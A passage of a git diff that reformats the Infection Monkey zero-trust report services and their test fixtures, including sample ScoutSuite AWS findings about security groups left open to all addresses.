[ "ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups." "sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR" ], - "dashboard_name":"Rules", - "checked_items":179, - "flagged_items":2, - "service":"EC2", - "rationale":"It was detected that all ports in the security group are open <...>", - "remediation":None, - "compliance":None, - "references":None, + "dashboard_name": "Rules", + "checked_items": 179, + "flagged_items": 2, + "service": "EC2", + "rationale": "It was detected that all ports in the security group are open <...>", + "remediation": None, + "compliance": None, + "references": None, } diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index 115f7c1ff2d..36eae62718c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -25,14 +25,14 @@ def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]: def is_aws_keys_setup(): return ConfigService.get_config_value( - AWS_KEYS_PATH + ["aws_access_key_id"] + AWS_KEYS_PATH + ["aws_access_key_id"] ) and ConfigService.get_config_value(AWS_KEYS_PATH + ["aws_secret_access_key"]) def set_aws_keys(access_key_id: str, secret_access_key: str, session_token: str): if not access_key_id or not secret_access_key: raise InvalidAWSKeys( - "Missing some of the following fields: access key ID, secret access key." + "Missing some of the following fields: access key ID, secret access key." ) _set_aws_key("aws_access_key_id", access_key_id) _set_aws_key("aws_secret_access_key", secret_access_key) @@ -47,9 +47,9 @@ def _set_aws_key(key_type: str, key_value: str): def get_aws_keys(): return { - "access_key_id":_get_aws_key("aws_access_key_id"), - "secret_access_key":_get_aws_key("aws_secret_access_key"), - "session_token":_get_aws_key("aws_session_token"), + "access_key_id": _get_aws_key("aws_access_key_id"), + "secret_access_key": _get_aws_key("aws_secret_access_key"), + "session_token": _get_aws_key("aws_session_token"), } diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py index a710a734c90..3d0cf8413fa 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py @@ -17,7 +17,7 @@ class ScoutSuiteZTFindingService: def process_rule(finding: ScoutSuiteFindingMap, rule: ScoutSuiteRule): existing_findings = ScoutSuiteFinding.objects(test=finding.test) assert len(existing_findings) < 2, "More than one finding exists for {}".format( - finding.test + finding.test ) if len(existing_findings) == 0: @@ -37,9 +37,9 @@ def _create_new_finding_from_rule(finding: ScoutSuiteFindingMap, rule: ScoutSuit def get_finding_status_from_rules(rules: List[ScoutSuiteRule]) -> str: if len(rules) == 0: return zero_trust_consts.STATUS_UNEXECUTED - elif filter(lambda x:ScoutSuiteRuleService.is_rule_dangerous(x), rules): + elif filter(lambda x: ScoutSuiteRuleService.is_rule_dangerous(x), rules): return zero_trust_consts.STATUS_FAILED - elif filter(lambda x:ScoutSuiteRuleService.is_rule_warning(x), rules): + elif filter(lambda x: ScoutSuiteRuleService.is_rule_warning(x), rules): return zero_trust_consts.STATUS_VERIFY else: return zero_trust_consts.STATUS_PASSED @@ -55,7 +55,7 @@ def change_finding_status_by_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRu rule_status = ScoutSuiteZTFindingService.get_finding_status_from_rules([rule]) finding_status = finding.status new_finding_status = ScoutSuiteZTFindingService.get_finding_status_from_rule_status( - finding_status, rule_status + finding_status, rule_status ) if finding_status != new_finding_status: finding.status = new_finding_status @@ -63,18 +63,18 @@ def change_finding_status_by_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRu @staticmethod def get_finding_status_from_rule_status(finding_status: str, rule_status: str) -> str: if ( - finding_status == zero_trust_consts.STATUS_FAILED - or rule_status == zero_trust_consts.STATUS_FAILED + finding_status == zero_trust_consts.STATUS_FAILED + or rule_status == zero_trust_consts.STATUS_FAILED ): return zero_trust_consts.STATUS_FAILED elif ( - finding_status == zero_trust_consts.STATUS_VERIFY - or rule_status == zero_trust_consts.STATUS_VERIFY + finding_status == zero_trust_consts.STATUS_VERIFY + or rule_status == zero_trust_consts.STATUS_VERIFY ): return zero_trust_consts.STATUS_VERIFY elif ( - finding_status == zero_trust_consts.STATUS_PASSED - or rule_status == zero_trust_consts.STATUS_PASSED + finding_status == zero_trust_consts.STATUS_PASSED + or rule_status == zero_trust_consts.STATUS_PASSED ): return zero_trust_consts.STATUS_PASSED else: diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index b7bab62b384..00eae32e73c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -31,10 +31,10 @@ def test_is_aws_keys_setup(tmp_path): initialize_encryptor(tmp_path) bogus_key_value = get_encryptor().enc("bogus_aws_key") dpath.util.set( - ConfigService.default_config, AWS_KEYS_PATH + ["aws_secret_access_key"], bogus_key_value + ConfigService.default_config, AWS_KEYS_PATH + ["aws_secret_access_key"], bogus_key_value ) dpath.util.set( - ConfigService.default_config, AWS_KEYS_PATH + ["aws_access_key_id"], bogus_key_value + ConfigService.default_config, AWS_KEYS_PATH + ["aws_access_key_id"], bogus_key_value ) assert is_aws_keys_setup() diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py index 366af1d1d3e..fa3ca9835d0 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py @@ -10,29 +10,29 @@ from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES example_scoutsuite_data = { - "checked_items":179, - "compliance":None, - "dashboard_name":"Rules", - "description":"Security Group Opens All Ports to All", - "flagged_items":2, - "items":[ + "checked_items": 179, + "compliance": None, + "dashboard_name": "Rules", + "description": "Security Group Opens All Ports to All", + "flagged_items": 2, + "items": [ "ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72" ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR", "ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65" ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR", ], - "level":"danger", - "path":"ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id" - ".cidrs.id.CIDR", - "rationale":"It was detected that all ports in the security group are open, " - "and any source IP address" - " could send traffic to these ports, which creates a wider attack surface " - "for resources " - "assigned to it. Open ports should be reduced to the minimum needed to " - "correctly", - "references":[], - "remediation":None, - "service":"EC2", + "level": "danger", + "path": "ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id" + ".cidrs.id.CIDR", + "rationale": "It was detected that all ports in the security group are open, " + "and any source IP address" + " could send traffic to these ports, which creates a wider attack surface " + "for resources " + "assigned to it. Open ports should be reduced to the minimum needed to " + "correctly", + "references": [], + "remediation": None, + "service": "EC2", } diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py index 6bd547208c1..36a8761cbec 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py @@ -19,7 +19,7 @@ def get_scoutsuite_finding_dto() -> Finding: scoutsuite_details = get_scoutsuite_details_dto() scoutsuite_details.save() return ScoutSuiteFinding( - test=TEST_SCOUTSUITE_SERVICE_SECURITY, status=STATUS_FAILED, details=scoutsuite_details + test=TEST_SCOUTSUITE_SERVICE_SECURITY, status=STATUS_FAILED, details=scoutsuite_details ) @@ -27,5 +27,5 @@ def get_monkey_finding_dto() -> Finding: monkey_details = get_monkey_details_dto() monkey_details.save() return MonkeyFinding( - test=TEST_ENDPOINT_SECURITY_EXISTS, status=STATUS_PASSED, details=monkey_details + test=TEST_ENDPOINT_SECURITY_EXISTS, status=STATUS_PASSED, details=monkey_details ) diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py index 581028d33ea..0e5433784d2 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py @@ -3,25 +3,25 @@ EVENTS = [ { - "timestamp":"2021-01-20T15:40:28.357Z", - "title":"Process list", - "message":"Monkey on pc-24 scanned the process list", - "event_type":"monkey_local", + "timestamp": "2021-01-20T15:40:28.357Z", + "title": "Process list", + "message": "Monkey on pc-24 scanned the process list", + "event_type": "monkey_local", }, { - "timestamp":"2021-01-20T16:08:29.519Z", - "title":"Process list", - "message":"", - "event_type":"monkey_local", + "timestamp": "2021-01-20T16:08:29.519Z", + "title": "Process list", + "message": "", + "event_type": "monkey_local", }, ] EVENTS_DTO = [ Event( - timestamp=event["timestamp"], - title=event["title"], - message=event["message"], - event_type=event["event_type"], + timestamp=event["timestamp"], + title=event["title"], + message=event["message"], + event_type=event["event_type"], ) for event in EVENTS ] diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py index fc8bf2b9d49..9905868afe1 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py @@ -1,144 +1,144 @@ # This is what our codebase receives after running ScoutSuite module. # Object '...': {'...': '...'} represents continuation of similar objects as above RAW_SCOUTSUITE_DATA = { - "sg_map":{ - "sg-abc":{"region":"ap-northeast-1", "vpc_id":"vpc-abc"}, - "sg-abcd":{"region":"ap-northeast-2", "vpc_id":"vpc-abc"}, - "...":{"...":"..."}, + "sg_map": { + "sg-abc": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, + "sg-abcd": {"region": "ap-northeast-2", "vpc_id": "vpc-abc"}, + "...": {"...": "..."}, }, - "subnet_map":{ - "subnet-abc":{"region":"ap-northeast-1", "vpc_id":"vpc-abc"}, - "subnet-abcd":{"region":"ap-northeast-1", "vpc_id":"vpc-abc"}, - "...":{"...":"..."}, + "subnet_map": { + "subnet-abc": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, + "subnet-abcd": {"region": "ap-northeast-1", "vpc_id": "vpc-abc"}, + "...": {"...": "..."}, }, - "provider_code":"aws", - "provider_name":"Amazon Web Services", - "environment":None, - "result_format":"json", - "partition":"aws", - "account_id":"125686982355", - "last_run":{ - "time":"2021-02-05 16:03:04+0200", - "run_parameters":{ - "services":[], - "skipped_services":[], - "regions":[], - "excluded_regions":[], + "provider_code": "aws", + "provider_name": "Amazon Web Services", + "environment": None, + "result_format": "json", + "partition": "aws", + "account_id": "125686982355", + "last_run": { + "time": "2021-02-05 16:03:04+0200", + "run_parameters": { + "services": [], + "skipped_services": [], + "regions": [], + "excluded_regions": [], }, - "version":"5.10.0", - "ruleset_name":"default", - "ruleset_about":"This ruleset", - "summary":{ - "ec2":{ - "checked_items":3747, - "flagged_items":262, - "max_level":"warning", - "rules_count":28, - "resources_count":176, + "version": "5.10.0", + "ruleset_name": "default", + "ruleset_about": "This ruleset", + "summary": { + "ec2": { + "checked_items": 3747, + "flagged_items": 262, + "max_level": "warning", + "rules_count": 28, + "resources_count": 176, }, - "s3":{ - "checked_items":88, - "flagged_items":25, - "max_level":"danger", - "rules_count":18, - "resources_count":5, + "s3": { + "checked_items": 88, + "flagged_items": 25, + "max_level": "danger", + "rules_count": 18, + "resources_count": 5, }, - "...":{"...":"..."}, + "...": {"...": "..."}, }, }, - "metadata":{ - "compute":{ - "summaries":{ - "external attack surface":{ - "cols":1, - "path":"service_groups.compute.summaries.external_attack_surface", - "callbacks":[["merge", {"attribute":"external_attack_surface"}]], + "metadata": { + "compute": { + "summaries": { + "external attack surface": { + "cols": 1, + "path": "service_groups.compute.summaries.external_attack_surface", + "callbacks": [["merge", {"attribute": "external_attack_surface"}]], } }, - "...":{"...":"..."}, + "...": {"...": "..."}, }, - "...":{"...":"..."}, + "...": {"...": "..."}, }, # This is the important part, which we parse to get resources - "services":{ - "ec2":{ - "regions":{ - "ap-northeast-1":{ - "vpcs":{ - "vpc-abc":{ - "id":"vpc-abc", - "security_groups":{ - "sg-abc":{ - "name":"default", - "rules":{ - "ingress":{ - "protocols":{ - "ALL":{ - "ports":{ - "1-65535":{ - "cidrs":[{"CIDR":"0.0.0.0/0"}] + "services": { + "ec2": { + "regions": { + "ap-northeast-1": { + "vpcs": { + "vpc-abc": { + "id": "vpc-abc", + "security_groups": { + "sg-abc": { + "name": "default", + "rules": { + "ingress": { + "protocols": { + "ALL": { + "ports": { + "1-65535": { + "cidrs": [{"CIDR": "0.0.0.0/0"}] } } } }, - "count":1, + "count": 1, }, - "egress":{ - "protocols":{ - "ALL":{ - "ports":{ - "1-65535":{ - "cidrs":[{"CIDR":"0.0.0.0/0"}] + "egress": { + "protocols": { + "ALL": { + "ports": { + "1-65535": { + "cidrs": [{"CIDR": "0.0.0.0/0"}] } } } }, - "count":1, + "count": 1, }, }, } }, } }, - "...":{"...":"..."}, + "...": {"...": "..."}, } }, # Interesting info, maybe could be used somewhere in the report - "external_attack_surface":{ - "52.52.52.52":{ - "protocols":{"TCP":{"ports":{"22":{"cidrs":[{"CIDR":"0.0.0.0/0"}]}}}}, - "InstanceName":"InstanceName", - "PublicDnsName":"ec2-52-52-52-52.eu-central-1.compute.amazonaws.com", + "external_attack_surface": { + "52.52.52.52": { + "protocols": {"TCP": {"ports": {"22": {"cidrs": [{"CIDR": "0.0.0.0/0"}]}}}}, + "InstanceName": "InstanceName", + "PublicDnsName": "ec2-52-52-52-52.eu-central-1.compute.amazonaws.com", } }, # We parse these into ScoutSuite security rules - "findings":{ - "ec2-security-group-opens-all-ports-to-all":{ - "description":"Security Group Opens All Ports to All", - "path":"ec2.regions.id.vpcs.id.security_groups" - ".id.rules.id.protocols.id.ports.id.cidrs.id.CIDR", - "level":"danger", - "display_path":"ec2.regions.id.vpcs.id.security_groups.id", - "items":[ + "findings": { + "ec2-security-group-opens-all-ports-to-all": { + "description": "Security Group Opens All Ports to All", + "path": "ec2.regions.id.vpcs.id.security_groups" + ".id.rules.id.protocols.id.ports.id.cidrs.id.CIDR", + "level": "danger", + "display_path": "ec2.regions.id.vpcs.id.security_groups.id", + "items": [ "ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups" ".sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR" ], - "dashboard_name":"Rules", - "checked_items":179, - "flagged_items":2, - "service":"EC2", - "rationale":"It was detected that all ports in the security group are " - "open <...>", - "remediation":None, - "compliance":None, - "references":None, + "dashboard_name": "Rules", + "checked_items": 179, + "flagged_items": 2, + "service": "EC2", + "rationale": "It was detected that all ports in the security group are " + "open <...>", + "remediation": None, + "compliance": None, + "references": None, }, - "...":{"...":"..."}, + "...": {"...": "..."}, }, }, - "...":{"...":"..."}, + "...": {"...": "..."}, }, - "service_list":[ + "service_list": [ "acm", "awslambda", "cloudformation", @@ -165,5 +165,5 @@ "vpc", "secretsmanager", ], - "service_groups":{"...":{"...":"..."}}, + "service_groups": {"...": {"...": "..."}}, } diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py index c608217e157..2302b68e9fe 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py @@ -9,81 +9,75 @@ RULES = [ ScoutSuiteRule( - checked_items=179, - compliance=None, - dashboard_name="Rules", - description="Security Group Opens All Ports to All", - flagged_items=2, - items=[ - "ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg" - "-035779fe5c293fc72" - ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg" - "-019eb67135ec81e65" - ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR", - ], - level="danger", - path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs" - ".id.CIDR", - rationale="It was detected that all ports in the security group are open, " - "and any source IP address" - " could send traffic to these ports, which creates a wider attack surface " - "for resources " - "assigned to it. Open ports should be reduced to the minimum needed to " - "correctly", - references=[], - remediation=None, - service="EC2", + checked_items=179, + compliance=None, + dashboard_name="Rules", + description="Security Group Opens All Ports to All", + flagged_items=2, + items=[ + "ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg" + "-035779fe5c293fc72" + ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg" + "-019eb67135ec81e65" + ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR", + ], + level="danger", + path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs" + ".id.CIDR", + rationale="It was detected that all ports in the security group are open, " + "and any source IP address" + " could send traffic to these ports, which creates a wider attack surface " + "for resources " + "assigned to it. Open ports should be reduced to the minimum needed to " + "correctly", + references=[], + remediation=None, + service="EC2", ), ScoutSuiteRule( - checked_items=179, - compliance=[ - {"name":"CIS Amazon Web Services Foundations", "version":"1.0.0", - "reference":"4.1"}, - {"name":"CIS Amazon Web Services Foundations", "version":"1.0.0", - "reference":"4.2"}, - {"name":"CIS Amazon Web Services Foundations", "version":"1.1.0", - "reference":"4.1"}, - {"name":"CIS Amazon Web Services Foundations", "version":"1.1.0", - "reference":"4.2"}, - {"name":"CIS Amazon Web Services Foundations", "version":"1.2.0", - "reference":"4.1"}, - {"name":"CIS Amazon Web Services Foundations", "version":"1.2.0", - "reference":"4.2"}, - ], - dashboard_name="Rules", - description="Security Group Opens RDP Port to All", - flagged_items=7, - items=[ - "ec2.regions.eu-central-1.vpcs.vpc-076500a2138ee09da.security_groups.sg" - "-00bdef5951797199c" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-007931ba8a364e330" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-05014daf996b042dd" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0c745fe56c66335b2" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0f99b85cfad63d1b1" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.us-east-1.vpcs.vpc-9e56cae4.security_groups.sg-0dc253aa79062835a" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.us-east-1.vpcs.vpc-002d543353cd4e97d.security_groups.sg" - "-01902f153d4f938da" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - ], - level="danger", - path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs" - ".id.CIDR", - rationale="The security group was found to be exposing a well-known port to all " - "source addresses." - " Well-known ports are commonly probed by automated scanning tools, " - "and could be an indicator " - "of sensitive services exposed to Internet. If such services need to be " - "expos", - references=[], - remediation="Remove the inbound rules that expose open ports", - service="EC2", + checked_items=179, + compliance=[ + {"name": "CIS Amazon Web Services Foundations", "version": "1.0.0", "reference": "4.1"}, + {"name": "CIS Amazon Web Services Foundations", "version": "1.0.0", "reference": "4.2"}, + {"name": "CIS Amazon Web Services Foundations", "version": "1.1.0", "reference": "4.1"}, + {"name": "CIS Amazon Web Services Foundations", "version": "1.1.0", "reference": "4.2"}, + {"name": "CIS Amazon Web Services Foundations", "version": "1.2.0", "reference": "4.1"}, + {"name": "CIS Amazon Web Services Foundations", "version": "1.2.0", "reference": "4.2"}, + ], + dashboard_name="Rules", + description="Security Group Opens RDP Port to All", + flagged_items=7, + items=[ + "ec2.regions.eu-central-1.vpcs.vpc-076500a2138ee09da.security_groups.sg" + "-00bdef5951797199c" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-007931ba8a364e330" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-05014daf996b042dd" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0c745fe56c66335b2" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0f99b85cfad63d1b1" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.us-east-1.vpcs.vpc-9e56cae4.security_groups.sg-0dc253aa79062835a" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.us-east-1.vpcs.vpc-002d543353cd4e97d.security_groups.sg" + "-01902f153d4f938da" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + ], + level="danger", + path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs" + ".id.CIDR", + rationale="The security group was found to be exposing a well-known port to all " + "source addresses." + " Well-known ports are commonly probed by automated scanning tools, " + "and could be an indicator " + "of sensitive services exposed to Internet. If such services need to be " + "expos", + references=[], + remediation="Remove the inbound rules that expose open ports", + service="EC2", ), ] diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py index 315420fb3d7..cf65819df59 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py @@ -42,13 +42,12 @@ def get_all_findings_for_ui() -> List[EnrichedFinding]: def _get_enriched_finding(finding: Finding) -> EnrichedFinding: test_info = zero_trust_consts.TESTS_MAP[finding["test"]] enriched_finding = EnrichedFinding( - finding_id=str(finding["_id"]), - test=test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][ - finding["status"]], - test_key=finding["test"], - pillars=test_info[zero_trust_consts.PILLARS_KEY], - status=finding["status"], - details=None, + finding_id=str(finding["_id"]), + test=test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][finding["status"]], + test_key=finding["test"], + pillars=test_info[zero_trust_consts.PILLARS_KEY], + status=finding["status"], + details=None, ) return enriched_finding diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py index 6c7b9f00fe9..fda738c45bd 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py @@ -6,9 +6,9 @@ class PillarService: @staticmethod def get_pillar_report_data(): return { - "statusesToPillars":PillarService._get_statuses_to_pillars(), - "pillarsToStatuses":PillarService._get_pillars_to_statuses(), - "grades":PillarService._get_pillars_grades(), + "statusesToPillars": PillarService._get_statuses_to_pillars(), + "pillarsToStatuses": PillarService._get_pillars_to_statuses(), + "grades": PillarService._get_pillars_grades(), } @staticmethod @@ -22,11 +22,11 @@ def _get_pillars_grades(): @staticmethod def __get_pillar_grade(pillar, all_findings): pillar_grade = { - "pillar":pillar, - zero_trust_consts.STATUS_FAILED:0, - zero_trust_consts.STATUS_VERIFY:0, - zero_trust_consts.STATUS_PASSED:0, - zero_trust_consts.STATUS_UNEXECUTED:0, + "pillar": pillar, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_UNEXECUTED: 0, } tests_of_this_pillar = zero_trust_consts.PILLARS_TO_TESTS[pillar] @@ -42,7 +42,7 @@ def __get_pillar_grade(pillar, all_findings): pillar_grade[finding.status] += 1 pillar_grade[zero_trust_consts.STATUS_UNEXECUTED] = list(test_unexecuted.values()).count( - True + True ) return pillar_grade @@ -50,10 +50,10 @@ def __get_pillar_grade(pillar, all_findings): @staticmethod def _get_statuses_to_pillars(): results = { - zero_trust_consts.STATUS_FAILED:[], - zero_trust_consts.STATUS_VERIFY:[], - zero_trust_consts.STATUS_PASSED:[], - zero_trust_consts.STATUS_UNEXECUTED:[], + zero_trust_consts.STATUS_FAILED: [], + zero_trust_consts.STATUS_VERIFY: [], + zero_trust_consts.STATUS_PASSED: [], + zero_trust_consts.STATUS_UNEXECUTED: [], } for pillar in zero_trust_consts.PILLARS: results[PillarService.__get_status_of_single_pillar(pillar)].append(pillar) diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py index 2786c2000ab..3fdc4aee1f8 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py @@ -14,11 +14,11 @@ def get_principles_status(): for principle, principle_tests in list(zero_trust_consts.PRINCIPLES_TO_TESTS.items()): for pillar in zero_trust_consts.PRINCIPLES_TO_PILLARS[principle]: all_principles_statuses[pillar].append( - { - "principle":zero_trust_consts.PRINCIPLES[principle], - "tests":PrincipleService.__get_tests_status(principle_tests), - "status":PrincipleService.__get_principle_status(principle_tests), - } + { + "principle": zero_trust_consts.PRINCIPLES[principle], + "tests": PrincipleService.__get_tests_status(principle_tests), + "status": PrincipleService.__get_principle_status(principle_tests), + } ) return all_principles_statuses @@ -32,7 +32,7 @@ def __get_principle_status(principle_tests): for status in all_statuses: if zero_trust_consts.ORDERED_TEST_STATUSES.index( - status + status ) < zero_trust_consts.ORDERED_TEST_STATUSES.index(worst_status): worst_status = status @@ -44,12 +44,12 @@ def __get_tests_status(principle_tests): for test in principle_tests: test_findings = Finding.objects(test=test) results.append( - { - "test":zero_trust_consts.TESTS_MAP[test][ - zero_trust_consts.TEST_EXPLANATION_KEY - ], - "status":PrincipleService.__get_lcd_worst_status_for_test(test_findings), - } + { + "test": zero_trust_consts.TESTS_MAP[test][ + zero_trust_consts.TEST_EXPLANATION_KEY + ], + "status": PrincipleService.__get_lcd_worst_status_for_test(test_findings), + } ) return results @@ -64,7 +64,7 @@ def __get_lcd_worst_status_for_test(all_findings_for_test): current_worst_status = zero_trust_consts.STATUS_UNEXECUTED for finding in all_findings_for_test: if zero_trust_consts.ORDERED_TEST_STATUSES.index( - finding.status + finding.status ) < zero_trust_consts.ORDERED_TEST_STATUSES.index(current_worst_status): current_worst_status = finding.status diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py index d3bb74e1b99..51677efc994 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py @@ -8,69 +8,67 @@ def save_example_findings(): # devices passed = 1 _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.STATUS_PASSED, + "scoutsuite", + zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + zero_trust_consts.STATUS_PASSED, ) # devices passed = 2 _save_finding_with_status( - "scoutsuite", - zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.STATUS_PASSED, + "scoutsuite", + zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + zero_trust_consts.STATUS_PASSED, ) # devices failed = 1 _save_finding_with_status( - "monkey", zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.STATUS_FAILED + "monkey", zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_FAILED ) # people verify = 1 # networks verify = 1 _save_finding_with_status( - "scoutsuite", zero_trust_consts.TEST_SCHEDULED_EXECUTION, - zero_trust_consts.STATUS_VERIFY + "scoutsuite", zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY ) # people verify = 2 # networks verify = 2 _save_finding_with_status( - "monkey", zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY + "monkey", zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY ) # data failed 1 _save_finding_with_status( - "monkey", 